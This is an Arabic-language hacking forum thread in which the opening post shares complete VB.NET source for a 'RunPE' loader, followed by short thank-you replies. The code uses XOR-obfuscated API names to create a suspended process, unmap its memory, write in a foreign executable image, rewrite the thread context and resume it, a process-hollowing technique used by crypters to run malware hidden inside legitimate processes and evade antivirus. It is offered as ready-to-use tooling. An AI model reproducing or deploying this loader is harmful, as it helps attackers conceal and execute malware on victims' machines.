حالة الموضوع:
مغلق
  1. P H A N T O M

    P H A N T O M Developer

    الأنتساب:
    ‏8 سبتمبر 2015
    المشاركات:
    8
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    [​IMG]
    » الصلاة و السلام على أشرف المرسليـن ...~
    » الحمد لله وحده نحمده و نشكره و نستعينه و نستغفره و نعود بالله من شرور أنفسنا و من سيئاتأعمالنا ...~
    » من يهده الله فلا مظل له و من يظلل فلن تجد له ولياً مرشدا ...~
    » و أشهد ألا إلالله إلا الله وحده لا شريك له و أن محمداً عبده و رسوله صلى الله عليه و سلم ...~
    » وعلى آله و صحبه أجمعين و من تبعهم بإحسان إلى يوم الدين ...~
    » ربنا لا علم لنا إلا ما علمتنا إنك أنت العليم الخبير ...~
    » ربنا لا فهم لنا إلا ما فهمتنا إنك أنت الجواد الكريم...~
    » ربي اشرح لي صدري و يسر لي أمري و احلل عقدة من لساني يفقهوا قولي ...~
    » أما بعد ...~
    » فإن أصدق الحديث كتاب الله تعالى و خير الهدي هديُ سيدنا محمد صلى الله عليه و سلم ...~
    » و شر الأمور محدثاتها و كل محدثة بدعة و كل بدعة ضلالة و كل ضلالة في النار ...~
    » فاللهم أجرنا و قنا عذابها برحمتك يا أرحم الراحمين ...~



    [​IMG]



    كود:
    Imports System
    Imports System.IO
    Imports System.Text
    Imports System.Runtime.InteropServices
     
    Module LojOyoWi7xKDcCkb1XpkXMi
     
     
        Public Declare Function ebxwGgdd4LCvYvG0ymJBmAJ Lib "kernel32" Alias "LoadLibraryA" (ByVal tssotWymetmte As String) As IntPtr
     
        Public Declare Function osyotoooeommSet Lib "kernel32" Alias "GetProcAddress" (ByVal vky92DQr7LChv2E9J6ClUIB As IntPtr, ByVal tssotWymetmte As String) As IntPtr
     
        Function MBjmUIUo7erzVnzDMzmgiVY(Of T)(ByVal tssotWymetmte As String, ByVal vUczuUaGmsUdK8oxLPrf4Ty As String) As T
     
            Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(osyotoooeommSet(ebxwGgdd4LCvYvG0ymJBmAJ(tssotWymetmte), vUczuUaGmsUdK8oxLPrf4Ty), GetType(T)), Object), T)
     
        End Function
     
        Delegate Function mtSSrSmySorees(ByVal oWmotymymmooSS As IntPtr, ByVal ymototmymmtmrm As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
     
        Delegate Function ebxwGgdd4LCvYvG0ymJBmAJ0(ByVal ebxwGgdd4LCvYvG0ymJBmAJ2 As IntPtr, ByVal ebxwGgdd4LCvYvG0ymJBmAJ3 As IntPtr) As UInteger
     
        Delegate Function ebxwGgdd4LCvYvG0ymJBmAJ1(ByVal ebxwGgdd4LCvYvG0ymJBmAJ2 As IntPtr, ByVal ebxwGgdd4LCvYvG0ymJBmAJ3 As IntPtr, ByRef bufr As IntPtr, ByVal ebxwGgdd4LCvYvG0ymJBmAJ4 As Integer, ByRef ebxwGgdd4LCvYvG0ymJBmAJ5 As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
     
        Delegate Function ebxwGgdd4LCvYvG0ymJBmAJ6(ByVal ebxwGgdd4LCvYvG0ymJBmAJ7 As IntPtr, ByVal ebxwGgdd4LCvYvG0ymJBmAJ8 As IntPtr) As UInteger
     
        Delegate Function ebxwGgdd4LCvYvG0ymJBmAJ9(ByVal oWmotymymmooSS As IntPtr, ByVal ymototmymmtmrm As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
     
        Delegate Function osyotoooeommSet0(ByVal ebxwGgdd4LCvYvG0ymJBmAJ2 As IntPtr, ByVal osyotoooeommSet1 As IntPtr, ByVal osyotoooeommSet2 As IntPtr, ByVal osyotoooeommSet3 As Integer, ByVal osyotoooeommSet4 As Integer) As IntPtr
     
        Delegate Function osyotoooeommSet5(ByVal osyotoooeommSet6 As IntPtr, ByVal osyotoooeommSet7 As IntPtr, ByVal osyotoooeommSet8 As Byte(), ByVal osyotoooeommSet9 As UInteger, ByVal tssotWymetmte0 As Integer) As Boolean
     
        Public Declare Auto Function tssotWymetmte1 Lib "kernel32" Alias "CreateProcessW" (ByVal tssotWymetmte2 As String, ByVal tssotWymetmte3 As StringBuilder, ByVal tssotWymetmte4 As IntPtr, ByVal tssotWymetmte5 As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal foXt As Boolean, ByVal LRqu As Integer, ByVal uedW As IntPtr, ByVal VnJW As String, ByVal kKAh As Byte(), ByVal QnTi As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean
     
        Private Function tssotWymetmte6(ByVal tssotWymetmte7 As Long, Optional ByVal tssotWymetmte8 As Long = &H4) As Integer
     
            Dim tssotWymetmte9 As IntPtr
     
            Dim vky92DQr7LChv2E9J6ClUIB0 As Integer
     
            Dim vky92DQr7LChv2E9J6ClUIB1 As ebxwGgdd4LCvYvG0ymJBmAJ1 = MBjmUIUo7erzVnzDMzmgiVY(Of ebxwGgdd4LCvYvG0ymJBmAJ1)(vky92DQr7LChv2E9J6ClUIB2(Chr(2) & Chr(24) & Chr(8) & Chr(0) & Chr(0), "lEoMNtZliATokQgkIDoKmWi"), vky92DQr7LChv2E9J6ClUIB2(Chr(28) & Chr(38) & Chr(0) & Chr(55) & Chr(51) & Chr(54) & Chr(4) & Chr(59) & Chr(32) & Chr(38) & Chr(39) & Chr(51) & Chr(62) & Chr(31) & Chr(55) & Chr(63) & Chr(61) & Chr(32) & Chr(43), "RSoFMJJUKOsVhjloNkQLGNU"))
     
            Call vky92DQr7LChv2E9J6ClUIB1(Process.GetCurrentProcess.Handle, tssotWymetmte7, tssotWymetmte9, tssotWymetmte8, vky92DQr7LChv2E9J6ClUIB0)
     
            Return tssotWymetmte9
     
        End Function
     
        Public Function vky92DQr7LChv2E9J6ClUIB3(ByVal vky92DQr7LChv2E9J6ClUIB4 As Byte(), ByVal vky92DQr7LChv2E9J6ClUIB5 As String) As Boolean
     
            Try
     
                Dim vky92DQr7LChv2E9J6ClUIB6 As GCHandle = GCHandle.Alloc(vky92DQr7LChv2E9J6ClUIB4, GCHandleType.Pinned) : Dim hModuleBase As Integer = vky92DQr7LChv2E9J6ClUIB6.AddrOfPinnedObject : vky92DQr7LChv2E9J6ClUIB6.Free()
     
                Dim tssotWymetmte4 As IntPtr = IntPtr.Zero
     
                Dim vky92DQr7LChv2E9J6ClUIB7 As IntPtr() = New IntPtr(3) {}
     
                Dim vky92DQr7LChv2E9J6ClUIB8 As Byte() = New Byte(67) {}
     
                Dim vky92DQr7LChv2E9J6ClUIB9 As Integer = BitConverter.ToInt32(vky92DQr7LChv2E9J6ClUIB4, 60)
     
                Dim MBjmUIUo7erzVnzDMzmgiVY0 As Integer
     
                Dim ymototmymmtmrm As UInteger() = New UInteger(178) {}
     
                ymototmymmtmrm(0) = &H10002
     
                tssotWymetmte1(Nothing, New StringBuilder(vky92DQr7LChv2E9J6ClUIB5), tssotWymetmte4, tssotWymetmte4, False, 4, tssotWymetmte4, Nothing, vky92DQr7LChv2E9J6ClUIB8, vky92DQr7LChv2E9J6ClUIB7)
     
                Dim MBjmUIUo7erzVnzDMzmgiVY1 As Integer = (hModuleBase + tssotWymetmte6(hModuleBase + &H3C))
     
                MBjmUIUo7erzVnzDMzmgiVY0 = tssotWymetmte6(MBjmUIUo7erzVnzDMzmgiVY1 + &H34)
     
                Dim MBjmUIUo7erzVnzDMzmgiVY2 As ebxwGgdd4LCvYvG0ymJBmAJ0 = MBjmUIUo7erzVnzDMzmgiVY(Of ebxwGgdd4LCvYvG0ymJBmAJ0)(vky92DQr7LChv2E9J6ClUIB2(Chr(2) & Chr(24) & Chr(8) & Chr(0) & Chr(0), "lEoMNtZliATokQgkIDoKmWi"), vky92DQr7LChv2E9J6ClUIB2(Chr(36) & Chr(30) & Chr(63) & Chr(4) & Chr(7) & Chr(11) & Chr(26) & Chr(60) & Chr(3) & Chr(15) & Chr(29) & Chr(37) & Chr(12) & Chr(57) & Chr(15) & Chr(9) & Chr(30) & Chr(3) & Chr(5) & Chr(4), "jDAZXISWJJithCuowglUNJG"))
     
                MBjmUIUo7erzVnzDMzmgiVY2(vky92DQr7LChv2E9J6ClUIB7(0), MBjmUIUo7erzVnzDMzmgiVY0)
     
                Dim MBjmUIUo7erzVnzDMzmgiVY4 As osyotoooeommSet0 = MBjmUIUo7erzVnzDMzmgiVY(Of osyotoooeommSet0)(vky92DQr7LChv2E9J6ClUIB2(Chr(47) & Chr(33) & Chr(54) & Chr(42) & Chr(33) & Chr(40) & Chr(119) & Chr(118), "DlJuiIaXIEYUhSHnjcJeTGo"), vky92DQr7LChv2E9J6ClUIB2(Chr(18) & Chr(45) & Chr(54) & Chr(48) & Chr(49) & Chr(37) & Chr(40) & Chr(5) & Chr(40) & Chr(40) & Chr(43) & Chr(39) & Chr(1) & Chr(60), "DlJuiIaXIEYUhSHnjcJeTGo"))
     
                Dim osyotoooeommSet7 As IntPtr = MBjmUIUo7erzVnzDMzmgiVY4(vky92DQr7LChv2E9J6ClUIB7(0), MBjmUIUo7erzVnzDMzmgiVY0, tssotWymetmte6(MBjmUIUo7erzVnzDMzmgiVY1 + &H50), &H3000, &H40)
     
                Dim MBjmUIUo7erzVnzDMzmgiVY3 As New IntPtr(BitConverter.ToInt32(vky92DQr7LChv2E9J6ClUIB4, vky92DQr7LChv2E9J6ClUIB9 + &H34))
     
                Dim osyotoooeommSet2 As New IntPtr(BitConverter.ToInt32(vky92DQr7LChv2E9J6ClUIB4, vky92DQr7LChv2E9J6ClUIB9 + 80))
     
                Dim MBjmUIUo7erzVnzDMzmgiVY5 As Integer
     
                Dim tssotWymetmte0 As Integer
     
                Dim MBjmUIUo7erzVnzDMzmgiVY6 As osyotoooeommSet5 = MBjmUIUo7erzVnzDMzmgiVY(Of osyotoooeommSet5)(vky92DQr7LChv2E9J6ClUIB2(Chr(2) & Chr(24) & Chr(8) & Chr(0) & Chr(0), "lEoMNtZliATokQgkIDoKmWi"), vky92DQr7LChv2E9J6ClUIB2(Chr(10) & Chr(48) & Chr(19) & Chr(54) & Chr(45) & Chr(48) & Chr(33) & Chr(18) & Chr(45) & Chr(54) & Chr(48) & Chr(49) & Chr(37) & Chr(40) & Chr(9) & Chr(33) & Chr(41) & Chr(43) & Chr(54) & Chr(61), "DlJuiIaXIEYUhSHnjcJeTGo"))
     
                MBjmUIUo7erzVnzDMzmgiVY6(vky92DQr7LChv2E9J6ClUIB7(0), osyotoooeommSet7, vky92DQr7LChv2E9J6ClUIB4, CUInt(CInt(tssotWymetmte6(MBjmUIUo7erzVnzDMzmgiVY1 + &H54))), MBjmUIUo7erzVnzDMzmgiVY5)
     
                For i = 0 To tssotWymetmte6(MBjmUIUo7erzVnzDMzmgiVY1 + &H6, 2) - 1
     
                    Dim MBjmUIUo7erzVnzDMzmgiVY7 As Integer() = New Integer(9) {}
     
                    Buffer.BlockCopy(vky92DQr7LChv2E9J6ClUIB4, (vky92DQr7LChv2E9J6ClUIB9 + &HF8) + (i * 40), MBjmUIUo7erzVnzDMzmgiVY7, 0, 40)
     
                    Dim MBjmUIUo7erzVnzDMzmgiVY8 As Byte() = New Byte((MBjmUIUo7erzVnzDMzmgiVY7(4) - 1)) {}
     
                    Buffer.BlockCopy(vky92DQr7LChv2E9J6ClUIB4, MBjmUIUo7erzVnzDMzmgiVY7(5), MBjmUIUo7erzVnzDMzmgiVY8, 0, MBjmUIUo7erzVnzDMzmgiVY8.Length)
     
                    osyotoooeommSet2 = New IntPtr(osyotoooeommSet7.ToInt32() + MBjmUIUo7erzVnzDMzmgiVY7(3))
     
                    MBjmUIUo7erzVnzDMzmgiVY3 = New IntPtr(MBjmUIUo7erzVnzDMzmgiVY8.Length)
     
                    MBjmUIUo7erzVnzDMzmgiVY6(vky92DQr7LChv2E9J6ClUIB7(0), osyotoooeommSet2, MBjmUIUo7erzVnzDMzmgiVY8, CUInt(MBjmUIUo7erzVnzDMzmgiVY3), tssotWymetmte0)
     
                Next i
     
                Dim MBjmUIUo7erzVnzDMzmgiVY9 As mtSSrSmySorees = MBjmUIUo7erzVnzDMzmgiVY(Of mtSSrSmySorees)(vky92DQr7LChv2E9J6ClUIB2(Chr(2) & Chr(24) & Chr(8) & Chr(0) & Chr(0), "lEoMNtZliATokQgkIDoKmWi"), vky92DQr7LChv2E9J6ClUIB2(Chr(61) & Chr(7) & Chr(52) & Chr(22) & Chr(7) & Chr(48) & Chr(28) & Chr(29) & Chr(7) & Chr(22) & Chr(11) & Chr(7) & Chr(39) & Chr(27) & Chr(1) & Chr(22) & Chr(18) & Chr(23), "sIhGXNMABeaGwIgIBrdVSnR"))
     
                MBjmUIUo7erzVnzDMzmgiVY9(vky92DQr7LChv2E9J6ClUIB7(1), ymototmymmtmrm)
     
                MBjmUIUo7erzVnzDMzmgiVY6(vky92DQr7LChv2E9J6ClUIB7(0), ymototmymmtmrm(41) + &H8, BitConverter.GetBytes(osyotoooeommSet7.ToInt32()), CUInt(&H4), tssotWymetmte0)
     
                ymototmymmtmrm(&H2C) = MBjmUIUo7erzVnzDMzmgiVY0 + tssotWymetmte6(MBjmUIUo7erzVnzDMzmgiVY1 + &H28)
     
                Dim xblQH As ebxwGgdd4LCvYvG0ymJBmAJ9 = MBjmUIUo7erzVnzDMzmgiVY(Of ebxwGgdd4LCvYvG0ymJBmAJ9)(vky92DQr7LChv2E9J6ClUIB2(Chr(2) & Chr(24) & Chr(8) & Chr(0) & Chr(0), "lEoMNtZliATokQgkIDoKmWi"), vky92DQr7LChv2E9J6ClUIB2(Chr(61) & Chr(7) & Chr(32) & Chr(22) & Chr(7) & Chr(48) & Chr(28) & Chr(29) & Chr(7) & Chr(22) & Chr(11) & Chr(7) & Chr(39) & Chr(27) & Chr(1) & Chr(22) & Chr(18) & Chr(23), "sIhGXNMABeaGwIgIBrdVSnR"))
     
                xblQH(vky92DQr7LChv2E9J6ClUIB7(1), ymototmymmtmrm)
     
                Dim vUczuUaGmsUdK8oxLPrf4Ty0 As ebxwGgdd4LCvYvG0ymJBmAJ6 = MBjmUIUo7erzVnzDMzmgiVY(Of ebxwGgdd4LCvYvG0ymJBmAJ6)(vky92DQr7LChv2E9J6ClUIB2(Chr(2) & Chr(24) & Chr(8) & Chr(0) & Chr(0), "lEoMNtZliATokQgkIDoKmWi"), vky92DQr7LChv2E9J6ClUIB2(Chr(0) & Chr(58) & Chr(28) & Chr(43) & Chr(61) & Chr(59) & Chr(35) & Chr(43) & Chr(26) & Chr(38) & Chr(60) & Chr(43) & Chr(47) & Chr(42), "NqqbiMUBAZQewYpIknBeZjD"))
     
                vUczuUaGmsUdK8oxLPrf4Ty0(vky92DQr7LChv2E9J6ClUIB7(1), 0)
     
            Catch ex As Exception
     
                Return False
     
            End Try
     
            Return True
     
        End Function
     
     
        Private Function vky92DQr7LChv2E9J6ClUIB2(ByVal vUczuUaGmsUdK8oxLPrf4Ty1 As String, ByVal vUczuUaGmsUdK8oxLPrf4Ty2 As String)
            Dim vUczuUaGmsUdK8oxLPrf4Ty3 As String = ""
            Dim vUczuUaGmsUdK8oxLPrf4Ty4 As Short
            Dim vUczuUaGmsUdK8oxLPrf4Ty5 As Integer
            vUczuUaGmsUdK8oxLPrf4Ty5 = Asc(vUczuUaGmsUdK8oxLPrf4Ty2)
            For vUczuUaGmsUdK8oxLPrf4Ty4 = 1 To Len(vUczuUaGmsUdK8oxLPrf4Ty1)
                vUczuUaGmsUdK8oxLPrf4Ty3 &= Chr(vUczuUaGmsUdK8oxLPrf4Ty5 Xor Asc(Mid(vUczuUaGmsUdK8oxLPrf4Ty1, vUczuUaGmsUdK8oxLPrf4Ty4, 1)))
            Next
            Return vUczuUaGmsUdK8oxLPrf4Ty3
        End Function
     
    End Module

    [​IMG]


    الى جميع اعضاء ومشرفين عراق تيم بدون اسثناء

     
  2. علي الخاسفون هناا

    علي الخاسفون هناا Developer

    الأنتساب:
    ‏26 نوفمبر 2015
    المشاركات:
    71
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: Runpe بسيط بلغة [ Vb.net ]

    عاشت ايدك
     
  3. سكيورتي ارهابي

    سكيورتي ارهابي ExpErt DeveloPer

    الأنتساب:
    ‏1 سبتمبر 2014
    المشاركات:
    691
    الإعجابات المتلقاة:
    43
    نقاط الجائزة:
    28
    الوظيفة:
    ماكسي مول
    الإقامة:
    دوله العراق العظيم
    رد: Runpe بسيط بلغة [ Vb.net ]

    احسنت بارك الله بيك
     
  4. اوجاع

    اوجاع موقوف لمخالفة الشروط

    الأنتساب:
    ‏28 سبتمبر 2015
    المشاركات:
    185
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    المخالفات
    3
    رد: Runpe بسيط بلغة [ Vb.net ]

    الف شكر حبيبي ويعطيك العافيه ي غالي
     
  5. GenTel

    GenTel موقوف لمخالفة الشروط

    الأنتساب:
    ‏22 يناير 2016
    المشاركات:
    77
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    المخالفات
    3
    رد: Runpe بسيط بلغة [ Vb.net ]

    تسلم ي غالي ^.^
     
  6. مسہہٰتہہٰر بٰٰرايہٰمر

    مسہہٰتہہٰر بٰٰرايہٰمر ᎿᎻᎬ ᏞᎥᏫᏁ موقوف لمخالفة الشروط

    الأنتساب:
    ‏1 فبراير 2016
    المشاركات:
    288
    الإعجابات المتلقاة:
    67
    نقاط الجائزة:
    28
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق
    رد: Runpe بسيط بلغة [ Vb.net ]

    احسنت اخي
     
  7. Maxhack

    Maxhack Developer

    الأنتساب:
    ‏5 مارس 2016
    المشاركات:
    105
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    رد: Runpe بسيط بلغة [ Vb.net ]

    حسنت حبيبيب ي
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة